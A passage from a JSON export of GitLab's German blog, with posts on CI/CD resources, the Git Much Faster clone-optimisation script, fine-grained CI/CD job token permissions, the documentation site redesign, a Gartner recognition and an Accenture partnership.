Pflege von CI/CD-Pipelines vereinfachen.\n\n> Weitere Informationen findest du in unseren [CI/CD-Katalog-FAQ](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/) und der [Dokumentation für CI/CD Steps](https://docs.gitlab.com/ee/ci/steps/) (beide nur in englischer Sprache verfügbar).\n\n### Problembehebung für Pipelines mithilfe von KI\n\nCI/CD-Pipelines können zwar ab und zu ausfallen, aber eine schnelle Problembehebung kann die Auswirkungen minimieren. GitLab Duo Root Cause Analysis, schafft als Teil eines Programmpakets KI-basierter Funktionen Klarheit, indem es [die Grundursache für eine defekte CI/CD-Pipeline ermittelt](https://about.gitlab.com/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/) (Blogbeitrag nur in englischer Sprache verfügbar). Wenn eine Pipeline fehlschlägt, stellt GitLab detaillierte Job-Protokolle, Fehlermeldungen und Ausführungsverläufe bereit, die genau zeigen, wo und warum der Fehler aufgetreten ist. Root Cause Analysis schlägt dann mithilfe von KI eine Lösung vor.\nSieh dir GitLab Duo Root Cause Analysisin Aktion an:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## So migrierst zu GitLab CI/CD\n\nFür die Migration auf die DevSecOps-Plattform und ihr integriertes CI/CD ist ein systematischer Ansatz nötig, um deine vorhandene Pipeline-Konfigurationen, Abhängigkeiten und Bereitstellungsprozesse zu analysieren und dann den entsprechenden Funktionen und der Syntax von GitLab zuzuordnen. Die folgenden englischsprachigen Anleitungen sollen dir den Einstieg erleichtern.\n\n* [So migrierst du von Bamboo zu GitLab CI/CD](https://about.gitlab.com/blog/migrating-from-bamboo-to-gitlab-cicd/)\n* [Von Jenkins zu GitLab: der ultimative Leitfaden zur Modernisierung deiner CI/CD-Umgebung](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n* [Einfache Migration von GitHub zu GitLab](https://about.gitlab.com/blog/github-to-gitlab-migration-made-easy/)\n\n## Erfahrungsberichte von führenden Unternehmen\n\nDiese führenden Unternehmen sind zu GitLab migriert und profitieren von den unzähligen Vorteilen von CI/CD. Lies ihre Stories.\n\n- [Lockheed Martin](https://about.gitlab.com/de-de/customers/lockheed-martin/)\n- [Indeed](https://about.gitlab.com/de-de/blog/how-indeed-transformed-its-ci-platform-with-gitlab/)\n- [CARFAX](https://about.gitlab.com/de-de/customers/carfax/)\n- [HackerOne](https://about.gitlab.com/de-de/customers/hackerone/)\n- [Betstudios](https://about.gitlab.com/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium/) (nur in englischer Sprache verfügbar)\n- [Thales und Carrefour](https://about.gitlab.com/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms/) (nur in englischer Sprache verfügbar)\n\n## CI/CD-Tutorials\n\nWerde mit diesen einfach verständlichen Tutorials zum CI/CD-Profi. (Die Tutorials sind im Moment nur in englischer Sprache verfügbar.)\n\n* [Grundlagen von CI: So führst du Jobs sequenziell, parallel oder unregelmäßig aus](https://about.gitlab.com/blog/basics-of-gitlab-ci-updated/)\n* [So richtest du deine erste CI/CD-Komponente mit GitLab ein](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n* [Einfacher Aufbau einer CI/CD-Pipeline mit GitLab für ein Monorepo](https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/)\n* [Verwendung von untergeordneten Pipelines für die kontinuierliche Bereitstellung in fünf Umgebungen](https://about.gitlab.com/blog/using-child-pipelines-to-continuously-deploy-to-five-environments/)\n* [CI/CD-Automatisierung: Maximiere die Auswirkungen eines Bereitstellungsstopps auf GitLab-Gruppen](https://about.gitlab.com/blog/ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups/)\n* [Refaktorisierung einer CI/CD-Vorlage zu einer CI/CD-Komponente](https://about.gitlab.com/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component/)\n* [Kommentiere Container-Images mit Build-Provenienz mithilfe von Cosign in GitLab CI/CD](https://about.gitlab.com/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd)\n\n> #### Erste Schritte mit GitLab CI/CD. [Registriere dich für GitLab Ultimate](https://gitlab.com/-/trials/new) und teste die KI-basierte DevSecOps-Plattform kostenlos.",[109,715,796,825,775,764],"2025-05-08",{"slug":970,"featured":91,"template":800},"ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"category":727,"slug":731,"posts":972},[973,988,1000],{"config":974,"content":976},{"slug":975,"featured":6,"template":800},"git-workflows-systematisch-optimieren",{"title":977,"description":978,"authors":979,"heroImage":981,"date":982,"category":731,"tags":983,"body":987},"Git-Workflows systematisch optimieren","Git clone-Operationen optimieren – bis zu 93 % weniger Clone-Zeit und 98 % weniger Speicherplatzbedarf mit dem Git Much Faster Script.",[980],"Darwin Sanoy","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098264/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_519147119_2RafH61mqosMZv8HGAlsUj_1750098264407.jpg","2025-09-10",[825,984,985,986],"git","performance","infrastructure","**7 Minuten Lesezeit**\n\n## Der Geschäftsfall: Was Git-Performance kostet\n\nStellen wir uns vor: Arbeit am Chromium-Projekt, das Repository muss geklont werden. `git clone` starten, einen Kaffee holen, E-Mails checken, vielleicht eine Mittagspause – und 95 Minuten später ist endlich das Arbeitsverzeichnis da. Das ist die Realität für Entwickler, die mit großen Repositories von 50 GB+ arbeiten.\n\nDie Produktivitätsauswirkungen sind erheblich: CI/CD-Pipelines kommen zum Erliegen während sie auf Repository-Klone warten. Infrastrukturkosten steigen, da Compute-Ressourcen untätig bleiben. Entwickler-Frustration wächst, während Context-Switching zur Norm wird. Das Problem zeigt sich überall: Embedded-Teams erben Repositories mit Legacy-Firmware und Vendor-SDKs. Web-Anwendungen akkumulieren Marketing-Assets. Game-Development-Projekte enthalten 3D-Modelle und Audio-Dateien – Repository-Größen erreichen Dutzende von Gigabytes.\n\nEnterprise-CI/CD-Pipelines leiden besonders: Jeder Job braucht frische Repository-Klone. Bei 20-90 Minuten Operationszeit erliegen ganze Entwicklungsworkflows. Infrastrukturkosten steigen durch untätige Compute-Ressourcen.\n\n## Die messbaren Ergebnisse: 6 Minuten statt 95 Minuten\n\n[Git Much Faster](https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster) demonstriert dramatische Verbesserungen durch rigoroses Benchmarking über reale Repositories mit konsistenter AWS-Infrastruktur:\n\n**Linux-Kernel-Repository (7,5 GB total):** Standard clone dauerte 6 Minuten 29 Sekunden. Optimized clone erreichte 46,28 Sekunden – eine 88,1%ige Verbesserung, wodurch das .git-Verzeichnis von 5,9 GB auf 284 MB reduziert wurde.\n\n**Chromium-Repository (60,9 GB total):** Standard clone benötigte 95 Minuten 12 Sekunden. Optimized clone erreichte 6 Minuten 41 Sekunden – eine beeindruckende 93%ige Verbesserung, wodurch das .git-Verzeichnis von 55,7 GB auf 850 MB komprimiert wurde.\n\n**GitLab-Website-Repository (8,9 GB total):** Standard clone dauerte 6 Minuten 23 Sekunden. Optimized clone erreichte 6,49 Sekunden – eine bemerkenswerte 98,3%ige Verbesserung, wodurch das .git-Verzeichnis auf 37 MB reduziert wurde.\n\nDie Benchmark-Daten zeigen klare Muster: Größere Repositories zeigen dramatischere Verbesserungen, binär-lastige Repositories profitieren am meisten von intelligenten Filtern, und optimierte Ansätze übertreffen konsistent sowohl standard Git als auch Gits eigenes Scalar-Tool.\n\n## Kosteneinsparungen für die gesamte Infrastruktur\n\nGit clone-Optimierung reduziert auch die Systembelastung durch kleinere Anfragegrößen. GitLabs [Gitaly Cluster](https://docs.gitlab.com/administration/gitaly/praefect/) profitiert direkt: Weniger server-seitige \"pack file\"-Erstellung bedeutet niedrigere Memory-, CPU- und I/O-Anforderungen. Der gesamte Stack wird schneller und günstiger.\n\nDiese Infrastructure-Einsparungen multiplizieren sich in Enterprise-Umgebungen: Reduzierte Dimensionierung der Git-Server, weniger Netzwerk-Overhead, optimierte Storage-Nutzung. Alle Schichten profitieren gleichzeitig.\n\n## Typische Enterprise-Anwendungsfälle\n\n**Embedded Development:** Legacy-Firmware, FPGA-Bitstreams, PCB-Layouts treiben Repository-Größen hoch. Build-Prozesse klonen oft Dutzende externe Repositories, multiplizieren die Performance-Auswirkungen.\n\n**Enterprise-Monorepos:** Mehrere Projekte, akkumulierte Historie. Media-Assets verstärken das Problem – Web-Apps mit Marketing-Assets, Games mit 3D-Modellen über 100 GB.\n\n**CI/CD-Pipelines:** Jeder Job braucht frische Klone. Bei 20-90 Minuten werden Workflows unbrauchbar. Hier zeigen sich die größten Produktivitätsgewinne.\n\n**Verteilte Teams:** Limitierte Netzwerk-Performance zu Development-Workstations profitiert von reduzierten Over-the-Wire-Größen.\n\n---\n\n## Die technische Umsetzung: Wie es funktioniert\n\nGit Much Faster ist ein Script, das ich als Enablement-Tool entwickelt habe, um verschiedene Clone-Optimierungsansätze auf demselben Client zu benchmarken – ob Entwickler-Workstation, CI, Cloud-Umgebungen oder GitOps-Klone. Es enthält kuratierte Konfigurationen für schnellste Clone-Optimierung, die sich als Ausgangspunkt nutzen lassen.\n\nDie Lösung adressiert die grundlegende Herausforderung: Gits Standard-Clone-Verhalten priorisiert Sicherheit über Geschwindigkeit. Bei großen Codebasen, Binär-Assets oder Monorepo-Strukturen wird das zum erheblichen Engpass.\n\n## Vier Benchmark-Strategien im Vergleich\n\nGit Much Faster löst dies durch umfassendes Benchmarking, das vier verschiedene Strategien vergleicht: standard git clone (Baseline mit vollständiger Historie), optimized git clone (custom Konfigurationen mit deaktivierter Kompression und sparse checkout), Gits Scalar clone (integriertes partial cloning) und current directory assessment (Analyse bestehender Repositories ohne erneutes Klonen).\n\nDas Tool bietet messbare, wiederholbare Benchmarks in kontrollierten AWS-Umgebungen. Die wahre Stärke: alle Benchmarks lassen sich in der spezifischen Umgebung ausführen – auch bei langsamen Netzwerkverbindungen findet sich die optimale Clone-Strategie.\n\n## Zwei Schlüssel-Konfigurationen für 93% Zeitersparnis\n\nDie bedeutendsten Gewinne stammen aus zwei Optimierungen:\n\n**Erste Optimierung – `core.compression=0`:** Eliminiert CPU-intensive Kompression während Netzwerkoperationen. Bei modernen Hochgeschwindigkeitsnetzwerken überschreiten CPU-Zyklen oft die Bandbreiteneinsparungen. Allein diese Optimierung reduziert Clone-Zeiten um 40%–60%.\n\n**Zweite Optimierung – `http.postBuffer=1024M`:** Erhöht Gits konservative HTTP-Buffer-Größe. Große Repositories profitieren enorm – Git kann größere Operationen handhaben ohne Aufteilen in mehrere Requests.\n\nZusätzlich nutzt Git Much Faster shallow clones (`--depth=1`) und partial clones (`--filter=blob:none`). Shallow clones reduzieren Daten um 70%–90%, partial clones helfen bei Repositories mit großen Binär-Assets. Sparse checkout kontrolliert ausgecheckte Dateien chirurgisch präzise – 30+ Binärdateitypen werden ausgeschlossen, Working-Directory-Größe sinkt um 78%.\n\nGits Scalar-Tool kombiniert partial clone, sparse checkout und Background-Wartung. Tests zeigen jedoch: Der custom optimized approach übertrifft Scalar um 48%–67% bei ähnlichen Disk-Space-Einsparungen.\n\n## Sofortige Implementierung in drei Schritten\n\nDie Implementierung erfordert das Verständnis, wann welche Technik basierend auf Use Case und Risikotoleranz anzuwenden ist. Für Development, das vollständigen Repository-Zugang erfordert: standard Git cloning nutzen. Für read-heavy Workflows, die schnellen Zugang zu aktuellem Code benötigen: optimized cloning einsetzen. Für CI/CD-Pipelines, wo Geschwindigkeit paramount ist: optimized cloning bietet maximalen Nutzen.\n\nDer Einstieg erfordert nur einfachen Download und Ausführung:\n\n```bash\ncurl -L https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster/-/raw/master/git-much-faster.sh -o ./git-much-faster.sh\n\n# Für Benchmarking\nbash ./git-much-faster.sh --methods=optimized,standard --repo=https://github.com/your-org/your-repo.git\n```\n\nFür production-grade Testing enthält das Git Much Faster-Projekt komplette Terraform-Infrastruktur für AWS-Deployment, wodurch sich Variablen eliminieren lassen, die lokale Testergebnisse verzerren.\n\n## Wichtige Einschränkungen beachten\n\nOptimized clones haben Limitierungen: Shallow clones verhindern Zugang zu historischen Commits. Lösung: Entwickler starten optimized, konvertieren bei Bedarf via `git fetch --unshallow` zu full clones. CI-Jobs mit Commit-Historie-Zugriff brauchen möglicherweise vollständige Historie.\n\n---\n\n## Transformative Ergebnisse für deutsche Teams\n\nGit clone-Optimierung liefert messbare Verbesserungen – bis zu 93% weniger Clone-Zeit, 98% weniger Disk-Space-Usage. Gits konservativer Standard-Ansatz lässt erhebliche Performance-Gelegenheiten ungenutzt.\n\n**Für deutsche Entwicklungsteams:** Reduzierte CI/CD-Wartezeiten steigern tägliche Produktivität, geringere Infrastrukturkosten ermöglichen relevante Kosteneinsparungen in Enterprise-Umgebungen.\n\n[Einfach starten mit dem Git Much Faster Repository](https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster) – read-only Optimierung in CI/CD-Pipelines beginnen, schrittweise auf Development-Workflows erweitern basierend auf gemessenen Ergebnissen.\n",{"content":989,"config":998},{"title":990,"description":991,"authors":992,"heroImage":850,"date":995,"category":731,"tags":996,"body":997},"Granulare Job Token Berechtigungen sind jetzt verfügbar","GitLab ermöglicht granulare Berechtigungen für CI/CD Job Tokens und erhöht die Sicherheit der Software-Supply-Chain.",[993,994],"Alex Mark","Joe Randazzo","2025-08-26",[269],"[CI/CD](https://about.gitlab.com/de-de/topics/ci-cd/) Pipelines erben oft überprivilegierte Berechtigungen von Benutzerkonten, was erhebliche Sicherheitsrisiken birgt, wenn Pipelines kompromittiert oder Tokens geleakt werden. [GitLab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/) führt granulare Berechtigungen für Job Tokens ein, um dieses Problem zu lösen, und überführt diese Sicherheitsverbesserung von Beta zu allgemeiner Verfügbarkeit.\n\nDiese Funktion ermöglicht es Maintainern, granulare Berechtigungen zu implementieren, die den Job-Token-Zugriff auf API-Ressourcen kontrollieren. Gemäß dem [Principle of Least Privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) haben diese Job Tokens keinerlei Zugriffsmöglichkeit auf API-Ressourcen, bis explizit Berechtigungen erteilt werden.\n\nDiese erste Version umfasst granulare Berechtigungen für die folgenden Ressourcen:\n\n* Repositories\n* Deployments\n* Environments\n* Jobs\n* Packages\n* Pipelines\n* Releases\n* Secure Files\n* Terraform State\n\nZusätzliche API-Endpunkte sind für zukünftige Releases geplant. Weitere Informationen finden sich im [zugehörigen Epic](https://gitlab.com/groups/gitlab-org/-/epics/6310).\n\n![Beispiel für granulare Berechtigungen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755633419/izgwpj45oxoof0frvhap.png)\n\n## Das Gesamtbild\n\nDiese Version stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Historisch waren Job Tokens an den oder die Benutzer(in) gebunden, der oder die die Pipeline ausführt, wodurch bestehende Privilegien weitergegeben wurden und Sicherheitsrisiken entstanden, wenn Pipelines kompromittiert wurden.\n\nGranulare Berechtigungen für Job Tokens bieten eine Grundlage für ein sichereres CI/CD-Ökosystem, das:\n\n* **Die Angriffsfläche reduziert**: Implementiert das Principle of Least Privilege durch Beschränkung des Zugriffs auf nur notwendige Ressourcen\n* **Die Abhängigkeit von langlebigen Tokens eliminiert**: Bietet eine sichere Alternative, die den Bedarf an persönlichen Zugriffstokens und anderen persistenten Anmeldedaten reduziert\n* **Auf maschinenbasierte Identität vorbereitet**: Dieser Opt-in-Ansatz legt den Grundstein dafür, Job Tokens perspektivisch vollständig von Benutzeridentitäten zu entkoppeln und sich in Richtung echter Machine-to-Machine-Authentifizierung zu bewegen\n* **Sichere Automatisierung im großen Maßstab ermöglicht**: Unterstützt komplexe Deployment-Workflows und CI/CD-Komponenten ohne Kompromisse bei der Sicherheit\n\n## Erste Schritte\n\nSecurity-Teams und DevOps-Ingenieure sollten diese Funktion für alle Projekte evaluieren, die automatisierte Deployments, Package-Veröffentlichungen oder Infrastructure Management durchführen. Da es sich um eine Opt-in-Funktion handelt, kann die Migration schrittweise erfolgen, um Störungen bestehender Pipelines zu minimieren.\n\nBeginne damit, die kritischsten Pipelines zu identifizieren und deren aktuelle Berechtigungsanforderungen zu prüfen. Aktiviere dann granulare Berechtigungen und konfiguriere den minimalen Zugriff, der für jedes Projekt benötigt wird. Weitere Informationen finden sich in der [Dokumentation zu granularen Berechtigungen für CI/CD Job Tokens](https://docs.gitlab.com/ci/jobs/fine_grained_permissions/).",{"slug":999,"featured":6,"template":800},"fine-grained-job-tokens-ga",{"config":1001,"content":1003},{"slug":1002,"featured":6,"template":800},"docs-site-design-overhaul",{"title":1004,"description":1005,"authors":1006,"heroImage":850,"date":1010,"category":731,"tags":1011,"body":1012},"Wir haben die GitLab-Dokumentationsseite komplett redesigned","Erfahre mehr über die Features unserer neu gestalteten Produktdokumentationsseite, die einen einfachen Feedback-Mechanismus und den vielgewünschten Dark Mode bietet.",[1007,1008,1009],"Suzanne Selhorn","Sarah German","Julia Miocene","2025-08-20",[269],"Die GitLab-Dokumentationsseite hat jetzt ein völlig neues Look-and-Feel.\nWas als Anfrage für gezielte Design-Fixes begann, wurde zu einem umfassenden Redesign mit vier wichtigen Verbesserungen:\n\n**Auch und gerade für deutsche Entwicklungsteams:** Diese Verbesserungen machen es einfacher, die englische Dokumentation zu nutzen. Dark Mode und die klarere Navigation helfen dabei, auch bei längeren Sessions die benötigten Informationen zu finden – ohne dass Sprachbarrieren durch schlechte UX verstärkt werden.\n\n## Die vier wichtigsten neuen Features\n\n**Der Dark Mode**: Das meistgewünschte Feature ist endlich da. Du kannst zwischen hellen und dunklen Themes in der oberen rechten Ecke wechseln\nfür bessere Lesbarkeit und weniger Augenbelastung.\n\n**Die Redesigned Navigation**: Wir haben die primäre Navigation nach oben verschoben und die linke Sidebar umstrukturiert, damit unsere 2 300+ Seiten\nweniger überwältigend und besser auffindbar sind.\n\n**Das Simplified Feedback**: Du kannst jetzt Thumbs-up/down-Feedback geben und Kommentare direkt auf jeder Dokumentationsseite hinzufügen.\n\n**Die Technical Debt Fixes**: Dutzende kleiner, aber wirkungsvoller Fixes für Typography, Spacing, Code Blocks und visuelle Inkonsistenzen,\ndie wir über die Jahre gesammelt haben.\n\nDie Brand Alignment mit GitLab's Marketing-Site sorgt außerdem für eine einheitlichere Experience über alle GitLab Properties hinweg.\n\n## Warum jetzt? Das Fundament für Veränderung\n\nAnfang des Jahres hat unser Documentation Engineering Team unter Leitung von Sarah German ein kritisches Replatforming-Projekt durchgeführt\nund von Nanoc zu Hugo migriert. Während diese Änderung für Teams größtenteils unsichtbar war, brachte sie dramatische Performance-Verbesserungen – 130x schnellere lokale Builds\nund 30x schnellere vollständige Builds – und bot die solide technische Grundlage für diese Verbesserungen.\n\nMit diesem Replatforming haben wir die Grundlage geschaffen, die es uns ermöglicht hat, uns auf User Experience-Verbesserungen zu konzentrieren, anstatt mit veralteter Infrastructure zu kämpfen.\n\nSchauen wir uns die Änderungen genauer an.\n\n### Dark Mode\n\nMöglicherweise die größte News für dieses Release: Dark Mode ist jetzt über die gesamte Dokumentationsseite verfügbar.\nDu änderst die Einstellung in der oberen rechten Ecke, und die Site merkt sich deine Präferenz.\nFür viele Teams macht Dark Mode Content einfacher zu lesen und reduziert Eyestrain.\n\n![image of dark mode](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png)\n\n### Redesigned Navigation\n\nWir standen vor der großen Herausforderung, über 2 300 Seiten so zu organisieren, dass Teams nicht überwältigt werden.\nUnsere vorherige einzelne linke Navigation war zwar umfassend, aber schuf eine einschüchternde Experience:\n\n![image of former navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png)\n\nDer neue Ansatz verschiebt die primäre Navigation nach oben und schafft kürzere, überschaubarere Table-of-Contents-Sections, die sich weniger überwältigend navigieren lassen:\n\n![image of new navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png)\n\nSo zeigen wir die Relationships zwischen Features besser, während einzelne Sections verdaulicher werden.\n\n### Simplified Feedback Mechanism\n\nWir haben den Feedback-Prozess vereinfacht. Anstatt zu verlangen, dass Teams die Docs-Site verlassen und GitLab Issues erstellen,\nkönnen sie jetzt sofortiges Feedback mit Thumbs-up/down-Ratings und Comments direkt auf jeder Page geben.\nScroll einfach auf jeder Dokumentationspage nach unten, um diese neue Functionality in Action zu sehen.\n\n![image of feedback area](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png)\n\n### Style Updates und Technical Debt\n\nÜber die Jahre hatten sich kleine Style-Inkonsistenzen angesammelt – inkonsistente Padding in Lists, zusätzliche Spacing um Alerts und verschiedene Typography-Issues.\nDie sehen zwar klein aus, aber zusammen schufen sie eine subtil störende Experience für Daily Users.\n\nUnsere Tabs und Code Blocks haben besondere Aufmerksamkeit bekommen und sind jetzt besser definiert.\n\nVorher sahen Tabs mit Code so aus:\n\n![image of old tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png)\n\nUnd jetzt, mit ein paar kleinen Tweaks, sehen sie so aus:\n\n![image of new tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png)\n\nDiese Papercut-Fixes sind einzeln klein, aber zusammen schaffen sie eine viel poliertere, professionellere Experience.\n\n## Was kommt als nächstes?\n\nDieses Redesign zeigt, wie wir bei GitLab iterieren – wir shippen meaningful Improvements und bauen gleichzeitig für eine noch bessere Zukunft.\nWir erwarten, die Struktur weiter zu verfeinern und Features hinzuzufügen, die Teams helfen, leichter zu finden, was sie brauchen.\n\nUser Feedback wird unsere nächsten Iterationen antreiben, und mit unserem neuen simplified Feedback Mechanism\nsind wir besser positioniert denn je, direkt von unseren Documentation-Teams zu hören.\n\n## Das Team\n\nDas ganze Team hat an dieser Transformation gearbeitet. Kudos an UX Papercuts und Julia Miocene dafür,\naus einer einfachen Anfrage eine umfassende Design Vision zu machen. Thanks an die Engineers im Technical Writing:\nSarah German, Pearl Latteier und Hiru Fernando, die diese Designs zum Leben erweckt haben.\n\nDas neue Design balanciert Information Density mit Visual Clarity, modernisiert unsere Site unter Beibehaltung\nvon Usability- und Accessibility-Standards und ist ein großer Schritt nach vorn in User Experience und Visual Design.\n",{"category":738,"slug":742,"posts":1014},[1015,1027,1039],{"content":1016,"config":1025},{"title":1017,"description":1018,"heroImage":1019,"authors":1020,"date":1022,"body":1023,"category":742,"tags":1024},"GitLab als Leader im 2025 Gartner Magic Quadrant für AI Code Assistants ausgezeichnet","GitLab wurde erneut als Leader im 2025 Gartner® Magic Quadrant™ für AI Code Assistants für Vision und Execution genannt.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1757675943/q9kb7zfiw1cyxx9fcafp.png",[1021],"Manav Khurana","2025-09-17","GitLab wurde zum zweiten Mal als Leader im 2025 Gartner® Magic Quadrant™ für AI Code Assistants ausgezeichnet. Diese Anerkennung bestätigt einen zentralen Pfeiler unserer umfassenden KI-Strategie: Die Evolution von intelligenter Code-Unterstützung zu einer ganzheitlichen KI, die die Art und Weise transformiert, wie Teams Software planen, entwickeln, sichern und bereitstellen.\n\n![2025 Gartner® Magic Quadrant™ für AI Code Assistants](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758121248/jfkmhddve6qvlg79xico.png)\n\n> [Report herunterladen.](https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/)\n\n## Von KI-Funktionen zu intelligenter Zusammenarbeit\n\nDie Gartner-Evaluierung konzentrierte sich unserer Ansicht nach auf die generativen KI-Code-Assistenz-Funktionen von GitLab Duo. Während GitLab Duo als KI-Add-on zur GitLab DevSecOps-Plattform begann, legte es den Grundstein für unsere heutige Entwicklung: Agentic AI, die nativ in die GitLab DevSecOps-Plattform integriert ist.\n\nDie [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) ermöglicht es Entwickler(inne)n, gemeinsam mit mehreren KI-Agenten zu arbeiten, die Aufgaben über den gesamten Software-Lebenszyklus automatisieren. Agenten kollaborieren miteinander und mit Menschen und nutzen dabei GitLabs Knowledge Graph, um mit vollständigem Projektkontext zu agieren. Dies befähigt Teams, schneller zu arbeiten und gleichzeitig Transparenz und Kontrolle zu bewahren.\n\n* **Spezialisierte Agenten** übernehmen parallel Aufgaben wie Code-Generierung, Sicherheitsanalyse und Research.\n* **Knowledge Graph** verbindet Agenten mit einem einheitlichen System of Record über Code, Issues, Pipelines und Compliance-Daten.\n* **Mensch + Agent Kollaboration** erfolgt über natürlichsprachlichen Chat und anpassbare Workflows mit integrierter Überprüfung und Kontrolle.\n* **Interoperabilität mit externen Tools und Systemen** wird durch Model Context Protocol (MCP) und Agent-zu-Agent-Frameworks unterstützt.\n\nWenn Agenten Routinearbeiten unter menschlicher Anleitung übernehmen, können Teams schneller arbeiten, sich auf wertvollere Aufgaben konzentrieren und Projekte sicher sowie compliant halten.\n\n## Security by Design, flexibel in der Praxis\n\nDie GitLab Duo Agent Platform wurde entwickelt, um Sicherheit und Compliance in den Mittelpunkt zu stellen. Agenten laufen innerhalb von GitLabs vertrauenswürdiger DevSecOps-Umgebung, wobei jede Aktion sichtbar und überprüfbar ist, bevor Änderungen vorgenommen werden. Sichere Integrationen gewährleisten, dass Credentials und sensible Daten geschützt verarbeitet werden, während Interoperabilität durch offene Standards Agenten mit externen Tools verbindet, ohne das Unternehmen Risiken auszusetzen.\n\nDie Plattform gibt Teams die Gewissheit, dass KI die Produktivität steigert, ohne die Governance zu kompromittieren. So funktioniert es:\n\n* **Entwickler(innen)** können sich auf komplexe, wirkungsvolle Arbeit konzentrieren, während sie Routineaufgaben an Agenten delegieren – für schnellere Ergebnisse und detaillierteren Kontext, der über ihre bestehenden Workflows bereitgestellt wird.\n* **Engineering-Führungskräfte** erhalten Einblick in die Bewegung der Arbeit über den Lebenszyklus, wobei Agenten innerhalb klarer Leitplanken operieren. Sie können zudem sicherstellen, dass ihre Teams auf Prioritäten ausgerichtet bleiben und das Onboarding durch Agent-gestützte Kontexte und Workflows vereinfachen.\n* **IT-Organisationen** behalten die Kontrolle über Agent-Aktivitäten mit Governance-Funktionen, die Coding- und Sicherheitsrichtlinien durchsetzen, Modellauswahlflexibilität bieten und sichere Interoperabilität gewährleisten – alles bei kontinuierlicher menschlicher Kontrolle.\n\n## Führend beim Übergang zur KI-nativen Entwicklung\n\nGitLab baut weiterhin auf der Vision auf, die mit Duo begann, und wird die GitLab Duo Agent Platform kontinuierlich mit neuen Agenten, erweiterten Workflows und mehr Orchestrierungsfunktionen ausbauen. Dieses Engagement für Innovation stellt sicher, dass die Produktivität deines Teams auf der Plattform gesteigert wird. Bleib gespannt auf kommende Updates zu unserer Roadmap. Wir revolutionieren weiterhin die KI-native DevSecOps.\n\n> [Den 2025 Gartner® Magic Quadrant™ für AI Code Assistants herunterladen](https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/) und [GitLab Duo Agent Platform heute ausprobieren](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/).\n\n*Quelle: Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15. September 2025*\n\n*GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.*\n\n*Gartner unterstützt keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologieanwendern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Auszeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Gartner-Forschungsorganisation und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich aller Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.*\n\n*Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage von Gartner B.V. erhältlich.*",[764,742,715],{"featured":91,"template":800,"slug":1026},"gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants",{"content":1028,"config":1037},{"date":1029,"category":742,"tags":1030,"body":1031,"authors":1032,"title":1034,"description":1035,"heroImage":1036},"2025-09-15",[742,764,715],"Wir freuen uns bekannt zu geben, dass GitLab und Accenture eine globale Vertriebsvereinbarung unterzeichnet haben, die Accenture als autorisierten GitLab-Vertriebspartner und Professional Services Provider etabliert. Diese Vereinbarung ermöglicht es Accenture, die vollständige DevSecOps-Plattform von GitLab direkt an Kunden über verschiedene Vertriebskanäle zu liefern, einschließlich des AWS Marketplace.\n\n## Ein Meilenstein in der Zusammenarbeit\n\nDiese Zusammenarbeit kombiniert die umfassende, intelligente DevSecOps-Plattform von GitLab mit Accentures weitreichender Expertise in digitaler Transformation und Implementierungsdienstleistungen. Dies 